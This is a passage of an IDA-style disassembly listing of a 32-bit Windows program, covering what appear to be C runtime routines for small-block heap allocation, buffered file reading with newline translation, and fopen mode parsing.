loc_41B77B:				; CODE XREF: sub_41B6F0+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41B78C
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41B77B


loc_41B78C:				; CODE XREF: sub_41B6F0+8Ej
		cmp	edx, 400h
		jnz	short loc_41B79B
		push	ecx
		call	sub_41B69A
		pop	ecx


loc_41B79B:				; CODE XREF: sub_41B6F0+11j
					; sub_41B6F0+7Dj ...
		cmp	esi, off_43D264
		jz	short loc_41B7AD
		cmp	[ebp+arg_0], 0
		jg	loc_41B6FD


loc_41B7AD:				; CODE XREF: sub_41B6F0+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B6F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B7B2	proc near		; CODE XREF: sub_417E11+3Ap
					; sub_417F62+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_43D260
		push	esi
		mov	ecx, edx


loc_41B7BE:				; CODE XREF: sub_41B7B2+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41B7C8
		cmp	eax, [ecx+14h]
		jb	short loc_41B7D0


loc_41B7C8:				; CODE XREF: sub_41B7B2+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41B805
		jmp	short loc_41B7BE
; ---------------------------------------------------------------------------


loc_41B7D0:				; CODE XREF: sub_41B7B2+14j
		test	al, 0Fh
		jnz	short loc_41B805
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41B805
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_41B805:				; CODE XREF: sub_41B7B2+1Aj
					; sub_41B7B2+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41B7B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B809	proc near		; CODE XREF: sub_417E11+4Dp
					; sub_417F62+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41B84D
		inc	dword_4DCDF4
		cmp	dword_4DCDF4, 20h
		jnz	short locret_41B84D
		push	10h
		call	sub_41B6F0
		pop	ecx

locret_41B84D:				; CODE XREF: sub_41B809+2Bj
					; sub_41B809+3Aj
		retn
sub_41B809	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B84E	proc near		; CODE XREF: sub_417F62+1ACp
					; sub_418273+4Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43F280
		push	edi


loc_41B85C:				; CODE XREF: sub_41B84E+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41B907
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41B8C1


loc_41B887:				; CODE XREF: sub_41B84E+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41B8AA
		cmp	[edi+4], ebx
		jbe	short loc_41B8AA
		push	ebx
		push	ecx
		push	eax
		call	sub_41BA56
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41B919
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_41B8AA:				; CODE XREF: sub_41B84E+40j
					; sub_41B84E+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41B887
		jmp	short loc_41B8C4
; ---------------------------------------------------------------------------


loc_41B8C1:				; CODE XREF: sub_41B84E+37j
		mov	ebx, [ebp+arg_0]


loc_41B8C4:				; CODE XREF: sub_41B84E+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41B90A


loc_41B8D7:				; CODE XREF: sub_41B84E+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41B8F6
		cmp	[edi+4], ebx
		jbe	short loc_41B8F6
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41BA56
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41B919
		mov	[edi+4], ebx


loc_41B8F6:				; CODE XREF: sub_41B84E+8Dj
					; sub_41B84E+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41B8D7
		jmp	short loc_41B90A
; ---------------------------------------------------------------------------


loc_41B907:				; CODE XREF: sub_41B84E+14j
		mov	ebx, [ebp+arg_0]


loc_41B90A:				; CODE XREF: sub_41B84E+87j
					; sub_41B84E+B7j
		mov	esi, [esi]
		cmp	esi, off_43F280
		jz	short loc_41B929
		jmp	loc_41B85C
; ---------------------------------------------------------------------------


loc_41B919:				; CODE XREF: sub_41B84E+54j
					; sub_41B84E+A3j
		mov	off_43F280, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41BA51
; ---------------------------------------------------------------------------


loc_41B929:				; CODE XREF: sub_41B84E+C4j
		mov	eax, offset off_43D260
		mov	edi, eax


loc_41B930:				; CODE XREF: sub_41B84E+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41B93C
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41B948


loc_41B93C:				; CODE XREF: sub_41B84E+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41BA1D
		jmp	short loc_41B930
; ---------------------------------------------------------------------------


loc_41B948:				; CODE XREF: sub_41B84E+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41B977


loc_41B966:				; CODE XREF: sub_41B84E+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41B977
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41B966


loc_41B977:				; CODE XREF: sub_41B84E+116j
					; sub_41B84E+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		call	dword_4241B0	; VirtualAlloc
		cmp	eax, esi
		jnz	loc_41BA4F
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_4182F0
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41B9DE
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_41B9B4:				; CODE XREF: sub_41B84E+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41B9B4


loc_41B9DE:				; CODE XREF: sub_41B84E+15Ej
		mov	off_43F280, edi
		lea	eax, [edi+2018h]


loc_41B9EA:				; CODE XREF: sub_41B84E+1A8j
		cmp	ecx, eax
		jnb	short loc_41B9FA
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41B9F8
		add	ecx, 8
		jmp	short loc_41B9EA
; ---------------------------------------------------------------------------


loc_41B9F8:				; CODE XREF: sub_41B84E+1A3j
		cmp	ecx, eax


loc_41B9FA:				; CODE XREF: sub_41B84E+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41BA51
; ---------------------------------------------------------------------------


loc_41BA1D:				; CODE XREF: sub_41B84E+F2j
		call	sub_41B556
		test	eax, eax
		jz	short loc_41BA4F
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43F280, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41BA51
; ---------------------------------------------------------------------------


loc_41BA4F:				; CODE XREF: sub_41B84E+143j
					; sub_41B84E+1D6j
		xor	eax, eax


loc_41BA51:				; CODE XREF: sub_41B84E+D6j
					; sub_41B84E+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B84E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BA56	proc near		; CODE XREF: sub_41B84E+4Ap
					; sub_41B84E+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41BA9B
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41BA8A
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41BA93
; ---------------------------------------------------------------------------


loc_41BA8A:				; CODE XREF: sub_41BA56+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41BA93:				; CODE XREF: sub_41BA56+32j
		lea	eax, [edi+8]
		jmp	loc_41BB69
; ---------------------------------------------------------------------------


loc_41BA9B:				; CODE XREF: sub_41BA56+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41BAA4
		mov	eax, esi


loc_41BAA4:				; CODE XREF: sub_41BA56+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41BAEE


loc_41BAAB:				; CODE XREF: sub_41BA56+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41BAE1
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_41BAB7:				; CODE XREF: sub_41BA56+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41BAC0
		inc	ebx
		inc	esi
		jmp	short loc_41BAB7
; ---------------------------------------------------------------------------


loc_41BAC0:				; CODE XREF: sub_41BA56+64j
		cmp	esi, edx
		jnb	short loc_41BB12
		cmp	eax, [ebp+var_4]
		jnz	short loc_41BACE
		mov	[ecx+4], esi
		jmp	short loc_41BADA
; ---------------------------------------------------------------------------


loc_41BACE:				; CODE XREF: sub_41BA56+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41BB73


loc_41BADA:				; CODE XREF: sub_41BA56+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41BAE6
; ---------------------------------------------------------------------------


loc_41BAE1:				; CODE XREF: sub_41BA56+59j
		movzx	esi, bl
		add	eax, esi


loc_41BAE6:				; CODE XREF: sub_41BA56+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41BAAB


loc_41BAEE:				; CODE XREF: sub_41BA56+53j
		lea	esi, [ecx+8]


loc_41BAF1:				; CODE XREF: sub_41BA56+EBj
					; sub_41BA56+F2j
		cmp	esi, edi
		jnb	short loc_41BB73
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41BB73
		mov	al, [esi]
		test	al, al
		jnz	short loc_41BB43
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_41BB09:				; CODE XREF: sub_41BA56+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41BB33
		inc	ebx
		inc	eax
		jmp	short loc_41BB09
; ---------------------------------------------------------------------------


loc_41BB12:				; CODE XREF: sub_41BA56+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41BB23
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41BB2C
; ---------------------------------------------------------------------------


loc_41BB23:				; CODE XREF: sub_41BA56+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_41BB2C:				; CODE XREF: sub_41BA56+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41BB69
; ---------------------------------------------------------------------------


loc_41BB33:				; CODE XREF: sub_41BA56+B6j
		cmp	eax, edx
		jnb	short loc_41BB4A
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41BB73
		mov	esi, ebx
		jmp	short loc_41BAF1
; ---------------------------------------------------------------------------


loc_41BB43:				; CODE XREF: sub_41BA56+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41BAF1
; ---------------------------------------------------------------------------


loc_41BB4A:				; CODE XREF: sub_41BA56+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41BB5B
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41BB64
; ---------------------------------------------------------------------------


loc_41BB5B:				; CODE XREF: sub_41BA56+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41BB64:				; CODE XREF: sub_41BA56+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_41BB69:				; CODE XREF: sub_41BA56+40j
					; sub_41BA56+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41BB75
; ---------------------------------------------------------------------------


loc_41BB73:				; CODE XREF: sub_41BA56+7Ej
					; sub_41BA56+9Dj ...
		xor	eax, eax


loc_41BB75:				; CODE XREF: sub_41BA56+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BA56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB7A	proc near		; CODE XREF: sub_417F62+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41BBB4
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41BC14
; ---------------------------------------------------------------------------


loc_41BBB4:				; CODE XREF: sub_41BB7A+26j
		jnb	short loc_41BC1B
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41BC1B
		lea	eax, [ecx+edx]


loc_41BBC9:				; CODE XREF: sub_41BB7A+59j
		cmp	eax, esi
		jnb	short loc_41BBD7
		cmp	byte ptr [eax],	0
		jnz	short loc_41BBD5
		inc	eax
		jmp	short loc_41BBC9
; ---------------------------------------------------------------------------


loc_41BBD5:				; CODE XREF: sub_41BB7A+56j
		cmp	eax, esi


loc_41BBD7:				; CODE XREF: sub_41BB7A+51j
		jnz	short loc_41BC1B
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41BC0F
		cmp	esi, eax
		jbe	short loc_41BC0F
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41BC06
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41BC01


loc_41BBFA:				; CODE XREF: sub_41BB7A+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41BBFA


loc_41BC01:				; CODE XREF: sub_41BB7A+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41BC0F
; ---------------------------------------------------------------------------


loc_41BC06:				; CODE XREF: sub_41BB7A+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_41BC0F:				; CODE XREF: sub_41BB7A+68j
					; sub_41BB7A+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_41BC14:				; CODE XREF: sub_41BB7A+38j
		mov	[ebp+var_4], 1


loc_41BC1B:				; CODE XREF: sub_41BB7A:loc_41BBB4j
					; sub_41BB7A+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BB7A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BC23	proc near		; CODE XREF: sub_417E7A+A9p
					; sub_4188AF+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41BCF7
		test	al, 40h
		jnz	loc_41BCF7
		test	al, 2
		jz	short loc_41BC49
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41BCF7
; ---------------------------------------------------------------------------


loc_41BC49:				; CODE XREF: sub_41BC23+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41BC5D
		push	esi
		call	sub_4205F7
		pop	ecx
		jmp	short loc_41BC62
; ---------------------------------------------------------------------------


loc_41BC5D:				; CODE XREF: sub_41BC23+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41BC62:				; CODE XREF: sub_41BC23+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41BCFC
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41BCE6
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BCE6
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41BCBB
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41BCA4
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4DD0A0[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41BCA9
; ---------------------------------------------------------------------------


loc_41BCA4:				; CODE XREF: sub_41BC23+6Bj
		mov	edi, offset dword_43FB60


loc_41BCA9:				; CODE XREF: sub_41BC23+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41BCBB
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41BCBB:				; CODE XREF: sub_41BC23+62j
					; sub_41BC23+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41BCD8
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41BCD8
		test	ch, 4
		jnz	short loc_41BCD8
		mov	dword ptr [esi+18h], 1000h


loc_41BCD8:				; CODE XREF: sub_41BC23+9Fj
					; sub_41BC23+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41BCE6:				; CODE XREF: sub_41BC23+55j
					; sub_41BC23+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41BCF7:				; CODE XREF: sub_41BC23+Aj
					; sub_41BC23+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41BC23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BCFC	proc near		; CODE XREF: sub_417E7A+90p
					; sub_41BC23+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4DD1A0
		jnb	loc_41BED9
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4DD0A0h[eax*4]
		mov	eax, dword_4DD0A0[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41BED9
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41BDB1
		test	dl, 2
		jnz	short loc_41BDB1
		test	dl, 48h
		jz	short loc_41BD71
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41BD71
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41BD71:				; CODE XREF: sub_41BCFC+56j
					; sub_41BCFC+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		call	dword_4240E8	; ReadFile
		test	eax, eax
		jnz	short loc_41BDC4
		call	dword_42408C	; RtlGetLastWin32Error
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41BDAC
		mov	dword_4DCD74, 9
		mov	dword_4DCD78, ecx
		jmp	loc_41BEEA
; ---------------------------------------------------------------------------


loc_41BDAC:				; CODE XREF: sub_41BCFC+99j
		cmp	eax, 6Dh
		jnz	short loc_41BDB8


loc_41BDB1:				; CODE XREF: sub_41BCFC+4Cj
					; sub_41BCFC+51j
		xor	eax, eax
		jmp	loc_41BEED
; ---------------------------------------------------------------------------


loc_41BDB8:				; CODE XREF: sub_41BCFC+B3j
		push	eax
		call	sub_41CFBF
		pop	ecx
		jmp	loc_41BEEA
; ---------------------------------------------------------------------------


loc_41BDC4:				; CODE XREF: sub_41BCFC+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41BED4
		test	edx, edx
		jz	short loc_41BDE9
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41BDE9
		or	al, 4
		jmp	short loc_41BDEB
; ---------------------------------------------------------------------------


loc_41BDE9:				; CODE XREF: sub_41BCFC+E2j
					; sub_41BCFC+E7j
		and	al, 0FBh


loc_41BDEB:				; CODE XREF: sub_41BCFC+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41BECE


loc_41BE03:				; CODE XREF: sub_41BCFC+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41BEBE
		cmp	al, 0Dh
		jz	short loc_41BE1F
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41BEB0
; ---------------------------------------------------------------------------


loc_41BE1F:				; CODE XREF: sub_41BCFC+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41BE3D
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41BE34
		add	[ebp+arg_8], 2
		jmp	short loc_41BE92
; ---------------------------------------------------------------------------


loc_41BE34:				; CODE XREF: sub_41BCFC+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41BEB0
; ---------------------------------------------------------------------------


loc_41BE3D:				; CODE XREF: sub_41BCFC+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	dword_4240E8	; ReadFile
		test	eax, eax
		jnz	short loc_41BE65
		call	dword_42408C	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_41BEAC


loc_41BE65:				; CODE XREF: sub_41BCFC+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41BEAC
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41BE87
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41BE92
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41BEB0
; ---------------------------------------------------------------------------


loc_41BE87:				; CODE XREF: sub_41BCFC+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41BE97
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41BE97


loc_41BE92:				; CODE XREF: sub_41BCFC+136j
					; sub_41BCFC+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41BEAF
; ---------------------------------------------------------------------------


loc_41BE97:				; CODE XREF: sub_41BCFC+18Ej
					; sub_41BCFC+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_41F3C4
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41BEB0


loc_41BEAC:				; CODE XREF: sub_41BCFC+167j
					; sub_41BCFC+16Dj
		mov	byte ptr [edi],	0Dh


loc_41BEAF:				; CODE XREF: sub_41BCFC+199j
		inc	edi


loc_41BEB0:				; CODE XREF: sub_41BCFC+11Ej
					; sub_41BCFC+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41BE03
		jmp	short loc_41BECE
; ---------------------------------------------------------------------------


loc_41BEBE:				; CODE XREF: sub_41BCFC+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41BECE
		or	al, 2
		mov	[esi], al


loc_41BECE:				; CODE XREF: sub_41BCFC+101j
					; sub_41BCFC+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41BED4:				; CODE XREF: sub_41BCFC+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41BEED
; ---------------------------------------------------------------------------


loc_41BED9:				; CODE XREF: sub_41BCFC+12j
					; sub_41BCFC+39j
		and	dword_4DCD78, 0
		mov	dword_4DCD74, 9


loc_41BEEA:				; CODE XREF: sub_41BCFC+ABj
					; sub_41BCFC+C3j
		or	eax, 0FFFFFFFFh


loc_41BEED:				; CODE XREF: sub_41BCFC+B7j
					; sub_41BCFC+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BCFC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEF2	proc near		; CODE XREF: sub_417F62+126p
					; sub_417F62+24Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DCDF8
		test	eax, eax
		jz	short loc_41BF0A
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41BF0A
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41BF0A:				; CODE XREF: sub_41BEF2+7j
					; sub_41BEF2+12j
		xor	eax, eax
		retn
sub_41BEF2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BF0D	proc near		; CODE XREF: sub_418202+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4DCF64
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41BF46
		cmp	al, 72h
		jz	short loc_41BF3F
		cmp	al, 77h
		jnz	loc_41C05A
		mov	ecx, 301h
		jmp	short loc_41BF4B
; ---------------------------------------------------------------------------


loc_41BF3F:				; CODE XREF: sub_41BF0D+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41BF4E
; ---------------------------------------------------------------------------


loc_41BF46:				; CODE XREF: sub_41BF0D+1Dj
